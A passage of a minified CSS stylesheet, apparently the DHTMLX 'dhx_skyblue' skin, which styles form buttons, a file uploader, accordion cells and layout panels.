div.dhxform_item_label_left div.dhxform_control{float:left;padding-left:4px;padding-right:0;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_left div.dhxform_control{float:right;padding-right:4px;padding-left:0;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_top{clear:both;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_top div.dhxform_label{float:none;margin-bottom:5px;margin-top:8px;}.dhxform_obj_dhx_skyblue div.dhxform_item_label_top div.dhxform_control{float:none;margin-left:0;margin-bottom:5px;}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_item_label_top div.dhxform_control{float:none;margin-right:0;}.dhxform_obj_dhx_skyblue div.dhxform_item_absolute{position:absolute;left:0;top:0;cursor:default;}.dhxform_obj_dhx_skyblue div.item_absolute div.dhxform_img,.dhxform_obj_dhx_skyblue div.item_absolute div.dhxform_actv_c,.dhxform_obj_dhx_skyblue div.item_absolute div.dhxform_actv_r{position:absolute;}.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_control,.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_label,.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_control.dhxform_img_node,.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_txt_label2,.dhxform_obj_dhx_skyblue div.dhxform_item_absolute div.dhxform_btn,.dhxform_obj_dhx_skyblue div.block_item_absolute div.dhxform_block{position:absolute;}.dhxform_obj_dhx_skyblue div.dhxform_txt_label2{font-family:Tahoma,Helvetica;font-size:inherit;color:#7099bb;font-weight:bold;margin:0 3px;padding:5px 0;cursor:default;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_txt_label2{color:#b2b8bc;}.dhxform_obj_dhx_skyblue div.dhxform_btn{font-family:Tahoma,Helvetica;font-size:inherit;color:black;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;border:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);margin:5px 2px;border-radius:2px;float:left;cursor:default;clear:both;position:relative;overflow:hidden;-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_btn{float:right;}.dhxform_obj_dhx_skyblue div.dhxform_btn.dhxform_btn_over{background-color:#f1f7ff;background:linear-gradient(#f1f7ff,#e2efff);background:-webkit-linear-gradient(#f1f7ff,#e2efff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f1f7ff,endColorStr=#e2efff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxform_obj_dhx_skyblue div.dhxform_btn.dhxform_btn_pressed{background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 5px rgba(127,127,127,0.15) inset;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_btn{border-color:#ccc;background-color:#f9f9f9;background:linear-gradient(#f9f9f9,#f1f1f1);background:-webkit-linear-gradient(#f9f9f9,#f1f1f1);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f9f9f9,endColorStr=#f1f1f1) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 5px rgba(127,127,127,0.15) inset;}.dhxform_obj_dhx_skyblue div.dhxform_btn div.dhxform_btn_txt{float:left;margin:0 20px;height:24px;line-height:23px;text-align:center;vertical-align:middle;overflow:hidden;white-space:nowrap;*display:inline;opacity:1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxform_obj_dhx_skyblue div.dhxform_btn div.dhxform_btn_txt.dhxform_btn_txt_autowidth{width:100%;margin:0;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_btn div.dhxform_btn_txt{color:#999!important;}.dhxform_obj_dhx_skyblue div.dhxform_btn:focus{outline:1px dotted #909090;}.dhxform_obj_dhx_skyblue div.dhxform_btn div.dhxform_btn_filler{position:absolute;display:inline-block;width:100%;height:100px;left:0;top:0;background-color:white;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxform_obj_dhx_skyblue div.dhxform_control div.dhxform_note{font-family:Tahoma,Helvetica;font-size:.8em;color:#808080;padding-bottom:3px;white-space:normal;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_control div.dhxform_note{color:#b2b2b2;}.dhxform_obj_dhx_skyblue div.dhxform_label span.dhxform_info{font-family:Tahoma,Helvetica;font-size:.6em;color:#808080;margin-left:3px;padding-bottom:2px;line-height:100%;vertical-align:middle;cursor:pointer;}.dhxform_obj_dhx_skyblue .validate_error .dhxform_label,.dhxform_obj_dhx_skyblue .validate_error .dhxform_textarea,.dhxform_obj_dhx_skyblue .validate_error .dhxform_select,.dhxform_obj_dhx_skyblue .validate_error div.dhxform_label_nav_link,.dhxform_obj_dhx_skyblue .validate_error div.dhxform_label div.dhxform_label_nav_link:focus{color:red;}.dhxform_obj_dhx_skyblue div.disabled .dhx_combo_box.dhx_skyblue{border:1px solid #c2d0dd;}.dhxform_obj_dhx_skyblue div.disabled .dhx_combo_box.dhx_skyblue .dhx_combo_input{color:#b2b2b2;background-color:#fff;}.dhxform_obj_dhx_skyblue div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb{border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-top:1px solid #a4bed4;}.dhxform_obj_dhx_skyblue div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_cont_editor{border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;}.dhxform_obj_dhx_skyblue div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhxcont_content_blocker{display:none;}.dhxform_obj_dhx_skyblue div.disabled div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhxcont_content_blocker{display:inline;position:absolute;width:100%;height:100%;top:0;left:0;background-color:#fefefe;opacity:.7;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=70);}.dhxform_obj_dhx_skyblue .dhx_file_uploader{position:relative;width:100%;margin-bottom:4px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls{position:relative;width:100%;height:35px;font-size:2px;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button{position:absolute;width:19px;height:19px;top:8px;background-image:url(\"imgs/dhxform_skyblue/dhxform_upload_buttons.gif\");background-repeat:no-repeat;font-size:2px;cursor:pointer;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);z-index:1;-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_info{display:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_browse{background-position:0 0;right:108px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_upload{background-position:-19px 0;right:79px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_cancel{background-position:-57px 0;right:79px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_clear{background-position:-38px 0;right:50px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls .dhx_uploader_input{position:absolute;left:-1000px;top:0;visibility:hidden;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_form_cont{position:absolute;width:19px;height:19px;left:0;top:0;cursor:pointer;overflow:hidden;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_form_cont form.dhx_file_form{position:absolute;top:0;right:0;cursor:pointer;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_form_cont form.dhx_file_form .dhx_file_input{opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);cursor:pointer;outline:none;height:19px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files{position:relative;width:100%;left:0;top:0;overflow:auto;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file{position:relative;width:100%;height:25px;overflow:hidden;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_added,.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_uploading{color:black;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_uploaded{color:#30678a;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_fail{color:#e94a4a;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param{position:absolute;font-family:inherit;font-size:inherit;color:inherit;top:0;height:25px;line-height:25px;vertical-align:middle;overflow:hidden;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_name{left:20px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_progress{right:50px;width:38px;text-align:right;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_delete{right:30px;width:11px;background-image:url(\"imgs/dhxform_skyblue/dhxform_upload_buttons.gif\");background-position:-76px 0;background-repeat:no-repeat;cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_uploading{right:50px;width:38px;text-align:right;background-image:url(\"imgs/dhxform_skyblue/dhxform_upload_uploading.gif\");background-position:center center;background-repeat:no-repeat;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls{height:60px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_files{display:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_info{display:inline;background-image:none;font-family:Tahoma,Helvetica;font-size:13px;color:#a1a1a1;height:auto;top:0;left:35px;vertical-align:top;padding-top:6px;line-height:20px;cursor:default;filter:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_browse{top:0;width:54px;height:54px;right:35px;background-image:url(\"imgs/dhxform_skyblue/dhxform_upload_buttons.gif\");background-position:0 -38px;background-repeat:no-repeat;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_upload,.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_cancel,.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_clear{display:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_form_cont{width:54px;height:54px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_form_cont form.dhx_file_form .dhx_file_input{height:54px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_info,.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_added,.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_uploading,.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_uploaded,.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_fail{color:#b2b2b2;}.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_browse{background-position:-54px -38px;cursor:default;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_form_cont{display:none;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button{cursor:default;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_browse{background-position:0 -19px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_upload{background-position:-19px -19px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_cancel{background-position:-57px -19px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_clear{background-position:-38px -19px;}.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file_param.dhx_file_delete{background-position:-87px 0;cursor:default;}.dhtmlx_skin_dhx_skyblue div.dhtmlx_wins_body_inner .dhxform_obj_dhx_skyblue{background-color:white;}.dhxform_obj_dhx_skyblue div.dhxform_control .dhx_combo_box.dhx_skyblue .dhx_combo_input,.dhx_combo_list.dhx_skyblue_list div{font-size:1em!important;}div.dhx_form_skin_detect{position:absolute;display:block;visibility:hidden;left:-100px;top:0;width:10px;height:10px;margin:0;padding:0;border:none;overflow:hidden;}.dhxacc_base_dhx_skyblue{background-color:#ebebeb;position:relative;cursor:default;}.dhxacc_base_dhx_skyblue .dhxacc_cont{position:absolute;overflow:hidden;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc{position:relative;background-color:#fff;margin:0;padding:0;overflow:hidden;cursor:default;box-shadow:0 0 3px #e0e0e0;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_cont_acc{position:absolute;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;border-top:0 solid white;overflow:hidden;z-index:0;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_cont_acc.dhx_cell_cont_no_borders{border-width:0;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_cover{position:absolute;left:0;top:0;width:100%;height:100%;margin:0;padding:0;font-size:1px;background-color:white;overflow:hidden;z-index:1;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr{position:relative;height:27px;line-height:26px;overflow:hidden;font-family:Tahoma,Helvetica;font-size:11px;color:#34404b;font-weight:bold;border:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);cursor:default;z-index:3;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr.dhx_cell_hdr_hidden{border-width:1px 0 0 0;height:0;line-height:0;overflow:hidden;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr div.dhx_cell_hdr_text{position:relative;margin:0 26px 0 5px;overflow:hidden;white-space:nowrap;cursor:default;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_icon{margin-left:24px!important;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr img.dhx_cell_hdr_icon{position:absolute;top:5px;left:4px;width:16px;height:16px;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr div.dhx_cell_hdr_arrow{position:absolute;top:6px;right:4px;width:16px;height:16px;background-image:url(\"imgs/dhxacc_skyblue/dhxacc_btns.gif\");background-repeat:no-repeat;background-position:0 0;overflow:hidden;cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc.dhx_cell_closed div.dhx_cell_hdr div.dhx_cell_hdr_arrow{background-position:-16px 0;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc.acc_cell_dragged{box-shadow:0 0 5px #829cb2;z-index:5!important;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_def{position:relative;overflow:hidden;border-width:0 1px 1px 1px;border-color:#a4bed4;border-style:solid;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_no_borders{position:relative;overflow:hidden;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_toolbar_def{position:relative;overflow:hidden;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-top-width:0;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue{margin-top:-1px;width:auto;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{border-top-width:0;width:auto;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_statusbar_def{position:absolute;bottom:0;width:100%;background-color:#ddecff;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{position:relative;padding:0 4px;height:21px;line-height:21px;border-bottom:1px solid #a4bed4;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;white-space:nowrap;overflow:hidden;}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_progress_bar{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:5;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);}.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_progress_img{position:absolute;left:0;top:0;border:1px solid #a4bed4;background-position:center 55%;background-image:url('imgs/dhxacc_skyblue/dhxacc_cell_progress.gif');background-repeat:no-repeat;cursor:progress;z-index:6;}.dhxacc_base_dhx_skyblue div.dhxcelltop_progress{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:3;opacity:.55;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=55);}.dhxacc_base_dhx_skyblue div.dhxcelltop_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url('imgs/dhxacc_skyblue/dhxacc_cell_progress.gif');background-position:center center;background-repeat:no-repeat;z-index:4;}.dhxacc_base_dhx_skyblue div.dhxcelltop_hdr{position:relative;}.dhxacc_base_dhx_skyblue div.dhxcelltop_ftr{position:absolute;}.dhxacc_base_dhx_skyblue div.dhxcelltop_menu{position:relative;overflow:hidden;}.dhxacc_base_dhx_skyblue div.dhxcelltop_toolbar{position:relative;background-color:#ebebeb;padding-bottom:4px;overflow:hidden;}.dhxacc_base_dhx_skyblue div.dhxcelltop_ribbon{padding-bottom:4px;position:relative;}.dhxacc_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{width:auto;}.dhxacc_base_dhx_skyblue div.dhxcelltop_statusbar{position:absolute;bottom:0;width:100%;background-color:#ebebeb;overflow:hidden;}.dhxacc_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar{position:relative;margin-top:4px;border:1px solid #a4bed4;background-color:#ddecff;padding:7px 6px;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxacc_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxlayout_base_dhx_skyblue{background-color:#ebebeb;position:relative;cursor:default;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont{position:absolute;overflow:hidden;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout{position:absolute;background-color:#fff;margin:0;padding:0;overflow:hidden;cursor:default;z-index:0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_cover{position:absolute;left:0;top:0;width:100%;height:100%;margin:0;padding:0;font-size:1px;background-color:white;overflow:hidden;z-index:1;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_cont_layout{position:absolute;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;border-top:0 solid #fff;overflow:hidden;z-index:0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_cont_layout.dhx_cell_cont_no_borders{border-width:0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_cont_layout,.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_cont_layout{display:none;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr{position:relative;height:27px;line-height:26px;overflow:hidden;font-family:Tahoma,Helvetica;font-size:11px;color:#34404b;font-weight:bold;border:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);cursor:default;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr.dhx_cell_hdr_hidden{height:0;line-height:0;border-bottom-width:0;overflow:hidden;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr.dhx_cell_hdr_hidden_no_borders{height:0;line-height:0;border-width:0;overflow:hidden;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhx_cell_hdr_text{position:relative;margin:0 26px 0 5px;overflow:hidden;white-space:nowrap;cursor:default;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow{position:absolute;right:4px;top:6px;width:16px;height:16px;background-image:url('imgs/dhxlayout_skyblue/dhxlayout_cell_btns.gif');background-repeat:no-repeat;cursor:pointer;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_va{background-position:-16px 0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_vb{background-position:-48px 0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_ha{background-position:-32px 0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_hb{background-position:0 0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_hdr{height:18px;line-height:17px;color:#3a4854;font-weight:normal;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_ha{background-position:0 -5px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_hb{background-position:-32px -4px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr{width:18px;background:-moz-linear-gradient(left,#e2efff,#d3e7ff);background:-webkit-linear-gradient(left,#e2efff,#d3e7ff);background:-o-linear-gradient(left,#e2efff,#d3e7ff);background:-ms-linear-gradient(left,#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=1,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text{position:absolute;left:3px;bottom:0;transform:rotate(270deg);-ms-transform:rotate(270deg);transform-origin:left center;color:#3a4854;font-weight:normal;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie6{left:-5px;line-height:17px;padding-bottom:10px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie6 span{float:left;filter:progid:DXImageTransform.Microsoft.Matrix(M11='6.123031769111886e-17', M12='1', M21='-1', M22='6.123031769111886e-17', sizingMethod='auto expand');}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie7{left:-5px;line-height:17px;padding-bottom:10px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie7 span{float:left;filter:progid:DXImageTransform.Microsoft.Matrix(M11='6.123031769111886e-17', M12='1', M21='-1', M22='6.123031769111886e-17', sizingMethod='auto expand');}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie8{left:-5px;line-height:17px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie8 span{float:left;filter:progid:DXImageTransform.Microsoft.Matrix(M11='6.123031769111886e-17', M12='1', M21='-1', M22='6.123031769111886e-17', sizingMethod='auto expand');margin-bottom:95%;padding-right:8px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie9{left:0;line-height:17px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie9 span{float:left;filter:none;margin-bottom:95%;padding-right:8px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr 